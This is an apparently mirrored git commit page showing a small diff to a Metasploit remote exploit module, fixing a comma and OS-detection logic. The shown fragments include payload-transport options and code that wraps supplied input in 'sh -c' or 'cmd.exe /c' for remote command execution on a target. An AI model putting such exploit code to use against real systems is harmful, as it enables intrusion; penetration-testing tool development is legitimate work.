Address travis errors: Updated metadata and target OS logic

GSoC/Meterpreter_Web_Console
asoto-r7 2018-09-06 12:43:56 -05:00
parent cb16f812ec
commit 7eb06b4592
No known key found for this signature in database
GPG Key ID: F531810B7FE55396
1 changed files with 3 additions and 3 deletions

View File

@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote
) )
register_advanced_options( register_advanced_options(
[ [
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]) OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ), OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ), OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
] ]
@ -253,7 +253,7 @@ class MetasploitModule < Msf::Exploit::Remote
properties = profile_target properties = profile_target
os = properties[:'os.name'].downcase os = properties[:'os.name'].downcase
if os.include? 'linux' || os.include? 'nix' if (os.include? 'linux') || (os.include? 'nix')
cmd = "{'sh','-c','#{cmd_input}'}" cmd = "{'sh','-c','#{cmd_input}'}"
elsif os.include? 'win' elsif os.include? 'win'
cmd = "{'cmd.exe','/c','#{cmd_input}'}" cmd = "{'cmd.exe','/c','#{cmd_input}'}"
@ -293,7 +293,7 @@ class MetasploitModule < Msf::Exploit::Remote
if os.include? 'win' if os.include? 'win'
fail_with(Failure::NoTarget, "Windows currently unsupported.") fail_with(Failure::NoTarget, "Windows currently unsupported.")
#execute_cmdstager(flavor: :vbs) #execute_cmdstager(flavor: :vbs)
elsif os.include? 'linux' || os.include? 'nix' elsif (os.include? 'linux') || (os.include? 'nix')
# cool. Keep going # cool. Keep going
else else
print_error("Unrecognized operating system.") print_error("Unrecognized operating system.")